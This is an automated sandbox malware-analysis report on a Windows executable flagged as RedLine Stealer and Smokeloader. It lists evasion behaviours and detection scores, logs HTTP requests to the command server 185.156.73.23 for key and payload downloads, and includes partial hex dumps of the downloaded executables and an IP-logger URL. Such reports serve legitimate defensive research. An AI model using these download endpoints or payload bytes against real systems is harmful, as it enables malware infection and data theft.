Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
hvm4oOzDaX.exe

Overview

General Information

Sample name:	hvm4oOzDaX.exe renamed because original name is a hash value
Original sample name:	69a94137bf10488dd980bc600b3735c8.exe
Analysis ID:	1578912
MD5:	69a94137bf10488dd980bc600b3735c8
SHA1:	da3d908540863d0466fb2d7acab950afaf47d75e
SHA256:	b53ffd4fc8c3b8759852c9742c3e26b4e3b8ba115ca15229a235db74f59a82db
Tags:	exeuser-abuse_ch
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

AI detected suspicious sample

Hides threads from debuggers

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file contains section with special chars

Potentially malicious time measurement code found

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Binary contains a suspicious time stamp

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops files with a non-matching file extension (content does not match file extension)

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

×

Process Tree

System is w10x64

hvm4oOzDaX.exe (PID: 6216 cmdline: "C:\Users\user\Desktop\hvm4oOzDaX.exe" MD5: 69A94137BF10488DD980BC600B3735C8)

WerFault.exe (PID: 6460 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6216 -s 1720 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000002.00000002.3243263415.0000000000D09000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0xf60:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000002.00000002.3246043956.0000000004B50000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89

Sigma Signatures

⊘No Sigma rule has matched

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: hvm4oOzDaX.exe

Avira: detected

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\soft[1]	ReversingLabs: Detection: 75%
Source: C:\Users\user\AppData\Local\Temp\K4fKw4wAeAe9Y\Y-Cleaner.exe	ReversingLabs: Detection: 75%

Multi AV Scanner detection for submitted file

Source: hvm4oOzDaX.exe	Virustotal: Detection: 47%			Perma Link
Source: hvm4oOzDaX.exe	ReversingLabs: Detection: 57%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\K4fKw4wAeAe9Y\Y-Cleaner.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\soft[1]	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: hvm4oOzDaX.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_004034C0 CryptAcquireContextW,CryptCreateHash,_mbstowcs,CryptHashData,GetLastError,CryptDeriveKey,GetLastError,CryptReleaseContext,CryptDecrypt,CryptDestroyKey,		2_2_004034C0
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_04B53727 CryptAcquireContextW,CryptCreateHash,_mbstowcs,CryptHashData,GetLastError,CryptDeriveKey,GetLastError,CryptReleaseContext,CryptDecrypt,CryptDestroyKey,		2_2_04B53727

Source: hvm4oOzDaX.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\hvm4oOzDaX.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_00415D07 FindFirstFileExW,		2_2_00415D07
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_10007EA9 FindFirstFileExW,		2_2_10007EA9
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_04B65F6E FindFirstFileExW,		2_2_04B65F6E

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 20 Dec 2024 15:36:42 GMTServer: Apache/2.4.52 (Ubuntu)Content-Disposition: attachment; filename="dll";Content-Length: 242176Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 4a 6c ef 58 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0b 00 00 a8 03 00 00 08 00 00 00 00 00 00 2e c6 03 00 00 20 00 00 00 e0 03 00 00 00 00 10 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 04 00 00 02 00 00 00 00 00 00 03 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 d4 c5 03 00 57 00 00 00 00 e0 03 00 10 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 34 a6 03 00 00 20 00 00 00 a8 03 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 10 04 00 00 00 e0 03 00 00 06 00 00 00 aa 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 00 04 00 00 02 00 00 00 b0 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 c6 03 00 00 00 00 00 48 00 00 00 02 00 05 00 a0 60 02 00 34 65 01 00 01 00 00 00 00 00 00 00 90 55 01 00 10 0b 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7d 00 59 00 79 00 3d 00 7b 00 58 00 78 00 3d 00 8a 72 93 00 00 70 04 6f 32 00 00 0a 8c 6f 00 00 01 28 33 00 00 0a 02 04 6f 32 00 00 0a 7d 05 00 00 04 2a 3a 02 03 73 01 00 00 06 04 28 02 00 00 06 2a 1e 17 80 06 00 00 04 2a 32 72 df 00 00 70 28 3b 00 00 0a 26 2a 56 72 a8 0f 00 70 80 07 00 00 04 72 a8 0f 00 70 80 08 00 00 04 2a 1e 02 28 1f 00 00 0a 2a 3e 02 fe 15 06 00 00 02 02 03 7d 09 00 00 04 2a be 02 03 28 43 00 00 0a 04 d6 8c 6f 00 00 01 28 44 00 00 0a 28 45 00 00 0a 7d 09 00 00 04 02 28 46 00 00 0a 28 45 00 00 0a 28 47 00 00 0a 26 2a 3e 02 fe 15 07 00 00 02 02 03 7d 0e 00 00 04 2a aa 02 03 28 43 00 00 0a 04 d6 8c 6f 00 00 01 28 44 00 00 0a 7d 0e 00 00 04 02 28 46 00 00 0a 28 45 00 00 0a 28 48 00 00 0a 26 2a 22 02 fe 15 08 00 00 02 2a 3e 02 fe 15 09 00 00 02 02 03 7d 18 00 00 04 2a 52 02 03 7d 20 00 00 04 02 02 7b 20 00 00 04 6f 6f 00 00 0a 2a 1e 02 7b 20 00 00 04 2a 22 02 03 7d 21 00 00 04 2a 1e 02 7b 21 00 00 04 2a ea 02 03 7d 1f 00 00 04 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 20 Dec 2024 15:36:45 GMTServer: Apache/2.4.52 (Ubuntu)Content-Disposition: attachment; filename="soft";Content-Length: 1502720Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 5f d5 ce a0 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 30 14 00 00 bc 02 00 00 00 00 00 9e 4f 14 00 00 20 00 00 00 60 14 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 17 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4c 4f 14 00 4f 00 00 00 00 60 14 00 f0 b9 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 17 00 0c 00 00 00 30 4f 14 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 a4 2f 14 00 00 20 00 00 00 30 14 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 f0 b9 02 00 00 60 14 00 00 ba 02 00 00 32 14 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 20 17 00 00 02 00 00 00 ec 16 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4f 14 00 00 00 00 00 48 00 00 00 02 00 05 00 68 7e 00 00 b8 44 00 00 01 00 00 00 55 00 00 06 20 c3 00 00 10 8c 13 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1e 02 28 13 00 00 0a 2a 1e 02 28 13 00 00 0a 2a ae 7e 01 00 00 04 2d 1e 72 01 00 00 70 d0 03 00 00 02 28 14 00 00 0a 6f 15 00 00 0a 73 16 00 00 0a 80 01 00 00 04 7e 01 00 00 04 2a 1a 7e 02 00 00 04 2a 1e 02 80 02 00 00 04 2a 6a 28 03 00 00 06 72 3d 00 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 6a 28 03 00 00 06 72 4d 00 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 6a 28 03 00 00 06 72 b7 00 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 6a 28 03 00 00 06 72 cb 00 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 6a 28 03 00 00 06 72 d9 00 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 6a 28 03 00 00 06 72 eb 00 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 6a 28 03 00 00 06 72 1f 01 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 1a 7e 03 00 00 04 2a 1e 02 28 18 00 00 0a 2a 56 73 0e 00 00 06 28 19 00 00 0a 74 04 00 00 02 80 03 00 00 04 2a 4e 02 28 1a 00 00 0a 02 28 1e 00 00 06 02 28 11 00 00

Source: Joe Sandbox View

IP Address: 185.156.73.23 185.156.73.23

Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23

Source: C:\Users\user\Desktop\hvm4oOzDaX.exe

Code function: 2_2_00401880 HttpAddRequestHeadersA,InternetSetFilePointer,InternetReadFile,HttpQueryInfoA,CoCreateInstance,MultiByteToWideChar,MultiByteToWideChar,MultiByteToWideChar,MultiByteToWideChar,MultiByteToWideChar,

Source: global traffic	HTTP traffic detected: GET /add?substr=mixtwo&s=three&sub=emp HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 1Host: 185.156.73.23Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dll/key HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 1Host: 185.156.73.23Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dll/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 1Host: 185.156.73.23Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 185.156.73.23Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 185.156.73.23Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 185.156.73.23Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 185.156.73.23Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 185.156.73.23Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 185.156.73.23Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 185.156.73.23Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 185.156.73.23Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 185.156.73.23Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 185.156.73.23Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /soft/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: dHost: 185.156.73.23Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /soft/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: sHost: 185.156.73.23Connection: Keep-AliveCache-Control: no-cache

Source: global traffic

DNS traffic detected: DNS query: tse1.mm.bing.net

Source: hvm4oOzDaX.exe, 00000002.00000002.3246848091.00000000055B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.73.23/add?substr=mixtwo&s=three&sub=emp
Source: hvm4oOzDaX.exe, 00000002.00000002.3246848091.00000000055B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.73.23/add?substr=mixtwo&s=three&sub=empDkN
Source: hvm4oOzDaX.exe, 00000002.00000002.3243299383.0000000000DA7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.73.23/dll/download
Source: hvm4oOzDaX.exe, 00000002.00000002.3243299383.0000000000DA7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.73.23/dll/downloadU
Source: hvm4oOzDaX.exe, 00000002.00000002.3246848091.00000000055B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.73.23/dll/key
Source: hvm4oOzDaX.exe, 00000002.00000002.3246848091.00000000055B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.73.23/dll/keyvv
Source: hvm4oOzDaX.exe, 00000002.00000002.3243299383.0000000000DA7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.73.23/files/download
Source: hvm4oOzDaX.exe, 00000002.00000002.3243299383.0000000000DA7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.73.23/files/download_
Source: hvm4oOzDaX.exe, 00000002.00000002.3243299383.0000000000DA7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.73.23/soft/download
Source: Amcache.hve.18.dr	String found in binary or memory: http://upx.sf.net
Source: hvm4oOzDaX.exe, 00000002.00000003.3149178145.00000000057F0000.00000004.00000020.00020000.00000000.sdmp, hvm4oOzDaX.exe, 00000002.00000003.3149421157.0000000005833000.00000004.00000020.00020000.00000000.sdmp, hvm4oOzDaX.exe, 00000002.00000003.3149772054.00000000057F0000.00000004.00000020.00020000.00000000.sdmp, hvm4oOzDaX.exe, 00000002.00000003.3147975769.00000000057F0000.00000004.00000020.00020000.00000000.sdmp, hvm4oOzDaX.exe, 00000002.00000003.3148096880.0000000005679000.00000004.00000020.00020000.00000000.sdmp, hvm4oOzDaX.exe, 00000002.00000003.3148324949.0000000005851000.00000004.00000020.00020000.00000000.sdmp, hvm4oOzDaX.exe, 00000002.00000003.3149638584.00000000058F1000.00000004.00000020.00020000.00000000.sdmp, Y-Cleaner.exe.2.dr, soft[1].2.dr	String found in binary or memory: http://www.ccleaner.comqhttps://take.rdrct-now.online/go/ZWKA?p78705p298845p1174
Source: hvm4oOzDaX.exe, 00000002.00000003.3149178145.00000000057F0000.00000004.00000020.00020000.00000000.sdmp, hvm4oOzDaX.exe, 00000002.00000003.3149421157.0000000005833000.00000004.00000020.00020000.00000000.sdmp, hvm4oOzDaX.exe, 00000002.00000003.3149772054.00000000057F0000.00000004.00000020.00020000.00000000.sdmp, hvm4oOzDaX.exe, 00000002.00000003.3147975769.00000000057F0000.00000004.00000020.00020000.00000000.sdmp, hvm4oOzDaX.exe, 00000002.00000003.3148096880.0000000005679000.00000004.00000020.00020000.00000000.sdmp, hvm4oOzDaX.exe, 00000002.00000003.3148324949.0000000005851000.00000004.00000020.00020000.00000000.sdmp, hvm4oOzDaX.exe, 00000002.00000003.3149638584.00000000058F1000.00000004.00000020.00020000.00000000.sdmp, Y-Cleaner.exe.2.dr, soft[1].2.dr	String found in binary or memory: https://g-cleanit.hk
Source: hvm4oOzDaX.exe, 00000002.00000003.3149178145.00000000057F0000.00000004.00000020.00020000.00000000.sdmp, hvm4oOzDaX.exe, 00000002.00000003.3149421157.0000000005833000.00000004.00000020.00020000.00000000.sdmp, hvm4oOzDaX.exe, 00000002.00000003.3149772054.00000000057F0000.00000004.00000020.00020000.00000000.sdmp, hvm4oOzDaX.exe, 00000002.00000003.3147975769.00000000057F0000.00000004.00000020.00020000.00000000.sdmp, hvm4oOzDaX.exe, 00000002.00000003.3148096880.0000000005679000.00000004.00000020.00020000.00000000.sdmp, hvm4oOzDaX.exe, 00000002.00000003.3148324949.0000000005851000.00000004.00000020.00020000.00000000.sdmp, hvm4oOzDaX.exe, 00000002.00000003.3149638584.00000000058F1000.00000004.00000020.00020000.00000000.sdmp, Y-Cleaner.exe.2.dr, soft[1].2.dr	String found in binary or memory: https://iplogger.org/1Pz8p7

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000002.00000002.3243263415.0000000000D09000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000002.00000002.3246043956.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown

PE file contains section with special chars

Source: hvm4oOzDaX.exe	Static PE information: section name:
Source: hvm4oOzDaX.exe	Static PE information: section name: .idata
Source: hvm4oOzDaX.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\hvm4oOzDaX.exe

Process Stats: CPU usage > 49%

